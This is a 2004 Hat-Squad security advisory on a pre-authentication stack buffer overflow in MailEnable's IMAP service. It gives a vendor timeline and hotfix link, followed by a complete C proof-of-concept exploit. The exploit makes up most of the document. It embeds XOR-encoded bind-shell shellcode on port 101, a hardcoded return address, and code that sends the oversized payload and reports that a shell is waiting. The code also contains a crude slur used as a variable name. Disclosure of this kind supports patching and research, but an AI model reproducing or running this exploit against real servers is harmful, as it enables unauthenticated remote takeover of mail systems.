000102advisory.txt

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Hat-Squad Advisory: Remote buffer overflow in MailEnable IMAP service  
  
  
Product: MailEnable Mail Server  
Vendor Url: http://www.mailenable.com  
Version: MailEnable Professional Edition v1.52, MailEnable Enterprise Edition v1.01  
Vulnerability: Remote buffer overflow in IMAP service  
Release Date: 26 November, 2004  
  
Vendor Status:  
InInformed on 24 November 2004  
Response: 24 November 2004  
Fixed on 25 November 2004  
  
  
Overview:  
  
MailEnable's Mail Server software provides a enterprise messaging platform for Microsoft Windows NT/2000/XP/2003 systems.  
MailEnable Proferssional IMAP services allows users to have server hosted folders and subfolders.  
Two vulnerabilities were discovered by Hat-Squad Team in MailEnable's IMAP service including a stack based buffer overflow  
and an object pointer overwrite, both can lead to remote execution of arbitrary code.  
  
Problem:  
  
1. Stack based Buffer Overflow:  
  
Due to a boundary check bug in the IMAP service, sending a client command with more than  
8198 bytes will cause a stack buffer overflow.This vulnerability can be triggered before any kind of authentification.  
  
Sample Request:  
  
as a result EIP will be overwritten with ret_addr.  
  
Proof Of Concept Exploit by class101 ([email protected]) :  
  
/*  
  
MailEnable , IMAP Service, Remote Buffer Overflow Exploit v0.4  
  
Homepage : www.mailenable.com  
Affected versions: Pro v1.52  
Enterprise v1.01  
  
Bug discovery : Nima Majidi at www.hat-squad.com  
Exploit code : class101 at www.hat-squad.com  
& dfind.kd-team.com  
  
Fix : http://mailenable.com/hotfix/MEIMAPS-HF041125.zip  
  
Compilation : 101_ncat.cpp ......... Win32 (MSVC,cygwin)  
101_ncat.c ........... Linux  
  
*/  
  
#include <stdio.h>  
#include <string.h>  
#include <time.h>  
#ifdef WIN32  
#include "winsock2.h"  
#pragma comment(lib, "ws2_32")  
#else  
#include <sys/socket.h>  
#include <netinet/in.h>  
#include <netinet/in_systm.h>  
#include <netinet/ip.h>  
#include <netdb.h>  
#include <arpa/inet.h>  
#include <unistd.h>  
#include <stdlib.h>  
#include <fcntl.h>  
#endif  
  
file://BIND shellcode port 101, XORed 0x88, thanx HDMoore.   
  
char scode[] =  
"\xEB"  
"\x0F\x58\x80\x30\x88\x40\x81\x38\x68\x61\x63\x6B\x75\xF4\xEB\x05\xE8\xEC\xFF\xFF"  
"\xFF\x60\xDE\x88\x88\x88\xDB\xDD\xDE\xDF\x03\xE4\xAC\x90\x03\xCD\xB4\x03\xDC\x8D"  
"\xF0\x89\x62\x03\xC2\x90\x03\xD2\xA8\x89\x63\x6B\xBA\xC1\x03\xBC\x03\x89\x66\xB9"  
"\x77\x74\xB9\x48\x24\xB0\x68\xFC\x8F\x49\x47\x85\x89\x4F\x63\x7A\xB3\xF4\xAC\x9C"  
"\xFD\x69\x03\xD2\xAC\x89\x63\xEE\x03\x84\xC3\x03\xD2\x94\x89\x63\x03\x8C\x03\x89"  
"\x60\x63\x8A\xB9\x48\xD7\xD6\xD5\xD3\x4A\x80\x88\xD6\xE2\xB8\xD1\xEC\x03\x91\x03"  
"\xD3\x84\x03\xD3\x94\x03\x93\x03\xD3\x80\xDB\xE0\x06\xC6\x86\x64\x77\x5E\x01\x4F"  
"\x09\x64\x88\x89\x88\x88\xDF\xDE\xDB\x01\x6D\x60\xAF\x88\x88\x88\x18\x89\x88\x88"  
"\x3E\x91\x90\x6F\x2C\x91\xF8\x61\x6D\xC1\x0E\xC1\x2C\x92\xF8\x4F\x2C\x25\xA6\x61"  
"\x51\x81\x7D\x25\x43\x65\x74\xB3\xDF\xDB\xBA\xD7\xBB\xBA\x88\xD3\x05\xC3\xA8\xD9"  
"\x77\x5F\x01\x57\x01\x4B\x05\xFD\x9C\xE2\x8F\xD1\xD9\xDB\x77\xBC\x07\x77\xDD\x8C"  
"\xD1\x01\x8C\x06\x6A\x7A\xA3\xAF\xDC\x77\xBF\x77\xDD\xB8\xB9\x48\xD8\xD8\xD8\xD8"  
"\xC8\xD8\xC8\xD8\x77\xDD\xA4\x01\x4F\xB9\x53\xDB\xDB\xE0\x8A\x88\x88\xED\x01\x68"  
"\xE2\x98\xD8\xDF\x77\xDD\xAC\xDB\xDF\x77\xDD\xA0\xDB\xDC\xDF\x77\xDD\xA8\x01\x4F"  
"\xE0\xCB\xC5\xCC\x88\x01\x6B\x0F\x72\xB9\x48\x05\xF4\xAC\x24\xE2\x9D\xD1\x7B\x23"  
"\x0F\x72\x09\x64\xDC\x88\x88\x88\x4E\xCC\xAC\x98\xCC\xEE\x4F\xCC\xAC\xB4\x89\x89"  
"\x01\xF4\xAC\xC0\x01\xF4\xAC\xC4\x01\xF4\xAC\xD8\x05\xCC\xAC\x98\xDC\xD8\xD9\xD9"  
"\xD9\xC9\xD9\xC1\xD9\xD9\xDB\xD9\x77\xFD\x88\xE0\xFA\x76\x3B\x9E\x77\xDD\x8C\x77"  
"\x58\x01\x6E\x77\xFD\x88\xE0\x25\x51\x8D\x46\x77\xDD\x8C\x01\x4B\xE0\x77\x77\x77"  
"\x77\x77\xBE\x77\x5B\x77\xFD\x88\xE0\xF6\x50\x6A\xFB\x77\xDD\x8C\xB9\x53\xDB\x77"  
"\x58\x68\x61\x63\x6B\x90";  
  
static char payload[10000];  
  
char magikcll[]="\x7a\x8c\x01\x10"; file://CALL EDI - MEAISP.dll - "Universal"  
char gay[]="\x4b\x2d\x4f\x54\x69\x4b"; file://long F0CK to them  
  
void usage(char* us);  
  
#ifdef WIN32  
WSADATA wsadata;  
#endif  
  
void ver();  
  
int main(int argc,char *argv[])  
{  
ver();  
if ((argc<3)||(argc>4)||(atoi(argv[1])<1)||(atoi(argv[1])>1)){usage(argv[0]);return -1;}   
#ifndef WIN32  
#define Sleep sleep  
#define SOCKET int  
#define closesocket(s) close(s)  
#else  
if (WSAStartup(MAKEWORD(2,0),&wsadata)!=0){printf("[+] wsastartup error\n");return -1;}  
#endif  
int ip=htonl(inet_addr(argv[2])), sz, port, sizeA, a;  
char *target, *os;  
if (argc==4){port=atoi(argv[3]);}  
else port=143;  
if (atoi(argv[1]) == 1){target=magikcll;os="Win2k SP4 Pro English\n[+] Win2k SP4 Pro French\n[+] Win2k SP4 Server English\n[+] all Win2k, NT4 (supposed)";}  
SOCKET s;fd_set mask;struct timeval timeout;struct sockaddr_in server;  
s=socket(AF_INET,SOCK_STREAM,0);  
if (s==-1) {printf("[+] socket() error\n");return -1;}  
printf("[+] target: %s\n",os);   
server.sin_family=AF_INET;  
server.sin_addr.s_addr=htonl(ip);  
server.sin_port=htons(port);  
connect(s,( struct sockaddr *)&server,sizeof(server));  
timeout.tv_sec=3;timeout.tv_usec=0;FD_ZERO(&mask);FD_SET(s,&mask);  
switch(select(s+1,NULL,&mask,NULL,&timeout))  
{  
case -1: {printf("[+] select() error\n");closesocket(s);return -1;}  
case 0: {printf("[+] connect() error\n");closesocket(s);return -1;}  
default:  
if(FD_ISSET(s,&mask))  
{  
printf("[+] connected, constructing the payload...\n");  
#ifdef WIN32  
Sleep(2000);  
#else  
Sleep(2);  
#endif  
sizeA=8202-sizeof(scode);  
sz=3+8198+4;  
memset(payload,0,sizeof(payload));  
strcat(payload,"\x41\x41\x41");  
strcat(payload,scode);  
for (a=0;a<sizeA;a++){strcat(payload,"\x41");}  
strcat(payload,target);  
strcat(payload,"\r\n");  
if (send(s,payload,strlen(payload),0)==-1) { printf("[+] sending error, the server prolly rebooted.");return -1;}  
#ifdef WIN32  
Sleep(1000);  
#else  
Sleep(1);  
#endif  
printf("[+] size of payload: %d\n",sz);   
printf("[+] payload send, connect the port 101 to get a shell.\n");  
return 0;  
}  
}  
closesocket(s);  
#ifdef WIN32  
WSACleanup();  
#endif  
return 0;  
}  
  
  
void usage(char* us)   
{   
printf("USAGE: 101_mEna.exe Target Ip Port\n");  
printf("TARGETS: \n");  
printf(" [+] 1. Win2k SP4 Pro English (*)\n");  
printf(" [+] 1. Win2k SP4 Pro French (*)\n");  
printf(" [+] 1. Win2k SP4 Server English (*)\n");  
printf(" [+] 1. All Win2K, NT4 \n");  
printf("NOTE: \n");  
printf(" The port 143 is default if no port are specified\n");  
printf(" The exploit bind a shellcode to the port 101\n");  
printf(" A wildcard (*) mean Tested.\n");  
return;  
}   
void ver()  
{   
printf(" \n");  
printf(" ===================================================[v0.1]====\n");  
printf(" ======MailEnable, Pro Mail Server for Windows <= v1.52=======\n");   
printf(" ========IMAP Service, Remote Buffer Overflow Exploit=========\n");  
printf(" ======coded by class101=============[Hat-Squad.com 2004]=====\n");  
printf(" =============================================================\n");  
printf(" \n");  
}  
  
`